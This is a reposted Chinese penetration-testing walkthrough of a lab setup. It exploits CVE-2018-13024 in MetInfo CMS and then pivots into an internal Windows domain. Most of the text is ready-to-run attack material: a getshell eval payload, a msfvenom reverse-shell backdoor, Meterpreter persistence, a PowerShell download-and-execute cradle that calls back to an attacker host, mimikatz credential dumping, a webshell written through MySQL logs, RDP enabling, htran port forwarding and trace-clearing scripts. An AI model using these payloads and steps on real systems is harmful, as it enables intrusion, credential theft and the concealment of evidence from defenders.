CVE-2018-13024复现及一次简单的内网渗透

栏目: 编程工具 · 发布时间: 5年前

内容简介:*本文原创作者:twosmi1e,本文属于FreeBuf原创奖励计划,未经许可禁止转载攻击机:kali linux及Windows10(本机)边缘机:Windows 2003 公网IP:192.168.61.140 内网IP:192.168.129.139

*本文原创作者:twosmi1e,本文属于FreeBuf原创奖励计划,未经许可禁止转载

0×00 环境搭建

攻击机:kali linux及Windows10(本机)

边缘机:Windows 2003 公网IP:192.168.61.140 内网IP:192.168.129.139

靶机:Windows 2008 内网IP192.168.129.130

CVE-2018-13024复现及一次简单的内网渗透

0×01 引言

漏洞概述

MetInfo是中国米拓信息技术有限公司的一套使用 PHPMysql 开发的内容管理系统(CMS)。Metinfo 6.0.0版本中存在安全漏洞。远程攻击者可通过向admin/column/save.php文件发送‘module’参数利用该漏洞向.php文件写入代码并执行该代码。

影响版本

MetInfo 5.3.16MetInfo 6.0.0

漏洞分析

漏洞发生在metinfo6.0.0\admin\column\save.php的column_copyconfig函数。 CVE-2018-13024复现及一次简单的内网渗透 跟进 column_copyconfigCVE-2018-13024复现及一次简单的内网渗透 跟进 Copyindx()CVE-2018-13024复现及一次简单的内网渗透

/*复制首页*/
function Copyindx($newindx,$type){
    if(!file_exists($newindx)){
        $oldcont ="<?php\n# MetInfo Enterprise Content Management System \n# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. \n\$filpy = basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once '../include/module.php'; \nrequire_once \$module; \n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.\n?>";

        $fp = fopen($newindx,w);
        fputs($fp, $oldcont);
        fclose($fp);
    }
}

可以看到这里将 $type 变量直接写入了文件中,而 $type 变量一直可以追溯到column_copyconfig的 $module 变量而metinfo一个经典的伪全局变量覆盖,在 metinfo6.0.0\admin\include\common.inc.php 中。

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
        $_M['form'][$_key]=daddslashes($_value,0,0,1);
    }
}

这样我们可以通过传入get参数,覆盖$module变量,导致任意文件写入。

0×02 边缘机渗透

信息收集

访问网站: CVE-2018-13024复现及一次简单的内网渗透 进行whoami,后台扫描,目录扫描,端口扫描等常见信息收集,通过HTTP报文响应头部可初步判断网站技术架构。 CVE-2018-13024复现及一次简单的内网渗透 发现网站为metinfo5.3.19: CVE-2018-13024复现及一次简单的内网渗透

获取webshell

查找漏洞

Metinfo6.0.0之前版本存在后台getshell漏洞,登入后台即可使用payload getshell。

爆破后台

扫出后台目录为/admin弱口令爆破admin,admin登入后台。

getshell

Payload:admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST['a']);/*

菜刀连接

Shell在upload目录下的index.php,使用蚁剑连接。 CVE-2018-13024复现及一次简单的内网渗透 看一下权限administrator,不用提权了。 CVE-2018-13024复现及一次简单的内网渗透

使用msf进行后渗透

msf生成后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.61.3 -f exe>twosmile.exe 传到目标机: CVE-2018-13024复现及一次简单的内网渗透 然后用虚拟终端运行: CVE-2018-13024复现及一次简单的内网渗透 在kali上可以看到 shell 反弹回来: CVE-2018-13024复现及一次简单的内网渗透 查看进程: CVE-2018-13024复现及一次简单的内网渗透 使用 migrate 迁移进程: CVE-2018-13024复现及一次简单的内网渗透

域信息收集

使用域下常见信息收集命令进行信息收集如getuid,systeminfo,ipconfigall,net user,net view等等。 CVE-2018-13024复现及一次简单的内网渗透 CVE-2018-13024复现及一次简单的内网渗透 CVE-2018-13024复现及一次简单的内网渗透 发现两张网卡两个IP,确定有内网无误,使用msf进行getsystem: CVE-2018-13024复现及一次简单的内网渗透 其他msf信息收集命令:

run post/windows/gather/checkvm  #是否虚拟机

run post/linux/gather/checkvm  #是否虚拟机

run post/windows/gather/forensics/enum_drives  #查看分区

run post/windows/gather/enum_applications  #获取安装软件信息

run post/windows/gather/dumplinks  #获取最近的文件操作

run post/windows/gather/enum_ie  #获取IE缓存

run post/windows/gather/enum_chrome  #获取Chrome缓存

run post/windows/gather/enum_patches  #补丁信息

run post/windows/gather/enum_domain  #查找域控

获取密码

使用msf:

load mimikatz
kerberos

CVE-2018-13024复现及一次简单的内网渗透 失败,尝试hashdump: CVE-2018-13024复现及一次简单的内网渗透 破解hash: CVE-2018-13024复现及一次简单的内网渗透

权限维持

通过Meterpretershell获取持久性shell的方法有两种,这里我使用的是第一种。

Persistence模块

CVE-2018-13024复现及一次简单的内网渗透 运行 run persistence -U -i 10 -p 4444 -r 192.168.61.3CVE-2018-13024复现及一次简单的内网渗透

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址。

这样重启后任然会有shell反弹。

Metsvc模块

CVE-2018-13024复现及一次简单的内网渗透 这个模块是直接开启服务 监听31337端口利用handler下的windows/metsvc_bind_tcp模块,重新获得shell。

powershell权限维持

powershell脚本: https://github.com/re4lity/Schtasks-Backdoor 使用方法见Readme文件。

powershell.exe-exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.61.140/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor-method nccat -ip 192.168.61.3 -port 53 -time 2"

192.168.61.140 本地服务器。

192.168.61.3 nc主机。

开启3389

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

中文会乱码: CVE-2018-13024复现及一次简单的内网渗透 输入之前抓到的用户名密码: CVE-2018-13024复现及一次简单的内网渗透 CVE-2018-13024复现及一次简单的内网渗透 登入远程桌面后也可以收集一波信息: CVE-2018-13024复现及一次简单的内网渗透 CVE-2018-13024复现及一次简单的内网渗透 域控IP: CVE-2018-13024复现及一次简单的内网渗透

其他常用命令:

ipconfig /all 查看本机IP,所在域
net user /domain 查询域用户
net group /domain —— 查询域里面的工作组
net group “domain admins” /domain —— 查询域管理员用户组
ping D1.com 查看域控的IPnltest /dclist:d1 查看域控名字
net time /domain 查看时间,域控机器名
net view 显示域中的计算机名列表
net view /domain:D1 显示指定域中机器名
net user /domain 查看当前域中的用户
net group “domain admins” /domain 查询域管理员用户组
net config workstation 显示更改可配置工作站参数,也可以获得登录域,机器名等信息
net accounts查看本地密码策略
netstat –an/ano/anb网络连接查询
route print路由表
dsquery,可以用来收集跨域的信息,但是跨域执行的前提是必须建立信任关系

这些命令也可以直接在msf中输入 shell 命令执行。

0×03 内网渗透

查看arp缓存

arp:

CVE-2018-13024复现及一次简单的内网渗透

route:

CVE-2018-13024复现及一次简单的内网渗透

添加路由

CVE-2018-13024复现及一次简单的内网渗透

端口扫描

CVE-2018-13024复现及一次简单的内网渗透 CVE-2018-13024复现及一次简单的内网渗透

445端口看一下是否能用ms17010: CVE-2018-13024复现及一次简单的内网渗透

不能打,用边缘机远程桌面看看80端口有什么服务。

webshell

CVE-2018-13024复现及一次简单的内网渗透 有apache phpmyadmin记下绝对路径 C:/phpStudy/PHPTutorial/WWW

尝试弱口令登入phpmyadmin然后日志写shell:

show variables like '%general%';
set global general_log = on;
set global general_log_file = 'C:/phpStudy/PHPTutorial/WWW/shell.php';
select '<?php eval($_POST['a']);?>'

CVE-2018-13024复现及一次简单的内网渗透 报错无所谓 已经存进日志了,然后传个菜刀到边缘机,用边缘机连一下: CVE-2018-13024复现及一次简单的内网渗透 CVE-2018-13024复现及一次简单的内网渗透

开3389

CVE-2018-13024复现及一次简单的内网渗透 传个脚本上去抓hash: CVE-2018-13024复现及一次简单的内网渗透 mimikatz也可以: CVE-2018-13024复现及一次简单的内网渗透

privilege::debug

sekurlsa::logonPasswords

CVE-2018-13024复现及一次简单的内网渗透

端口转发

上传htran: CVE-2018-13024复现及一次简单的内网渗透 htran -p -tran 8888 192.168.129.130 3389 将域控3389转发到边缘机8888再连边缘机ip(192.168.61.140:8888)远程桌面: CVE-2018-13024复现及一次简单的内网渗透 连接成功。

痕迹清除

简单清除一下,动静还是比较大的;

msf中clearev: CVE-2018-13024复现及一次简单的内网渗透 3389痕迹清除脚本:

echo off
color 0A
title 3389连接痕迹清除
mode con cols=88 lines=20
set /p fk= 确定要清空3389连接痕迹吗?(y/n)
if /i "%fk%"=="y" goto y
if /i "%fk%"=="n" goto n
call %0

:y
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client" /f
del /a /f /q %HOMEPATH%\Documents\Default.rdp
echo 命令执行成功,请手动查看是否清除。
pause >nul

:n
exit

然后再删掉你上传的所有文件,收工。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

500 Lines or Less

500 Lines or Less

Amy Brown、Michael DiBernardo / 2016-6-28 / USD 35.00

This book provides you with the chance to study how 26 experienced programmers think when they are building something new. The programs you will read about in this book were all written from scratch t......一起来看看 《500 Lines or Less》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

SHA 加密
SHA 加密

SHA 加密工具